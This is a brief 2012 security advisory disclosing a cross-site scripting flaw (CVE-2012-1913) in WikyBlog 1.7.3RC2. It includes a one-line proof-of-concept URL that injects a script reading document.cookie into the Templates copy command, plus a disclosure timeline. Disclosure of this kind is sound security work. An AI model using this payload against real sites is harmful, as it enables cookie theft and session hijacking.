SSCHADV2012-006 - WikyBlog 1.7.3RC2 XSS vulnerability
|
Advisory:
|
WikyBlog 1.7.3RC2 XSS vulnerability
|
| Advisory ID: | SSCHADV2012-006 |
| Author: | Stefan Schurtz |
| Affected Software: | Successfully tested on WikyBlog 1.7.3RC2 |
| Vendor URL: | |
| Vendor Status: |
informed
|
| CVE-ID: |
CVE-2012-1913
|
======================
Vulnerability Description
======================
Vulnerability Description
======================
WikyBlog 1.7.3RC2 is prone to a XSS vulnerability
==============
PoC-Exploit
==============
PoC-Exploit
==============
| http://[target]/WikyBlog-1.7.3rc2/index.php/Special/Main/Templates?cmd=copy&which=‘"<script>alert(document.cookie)</script> |
=====
Solution
=====
-
================
Disclosure Timeline
================
25-Feb-2012 – vendor informed
15-Mar-2012 – no response from vendor
15-Mar-2012 – post on BugTraq
====
Credits
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References
=======
http://www.darksecurity.de/advisories/2012/SSCHADV2012-006.txt
Trackbacks
No Trackbacks
Comments
Display comments as Linear | Threaded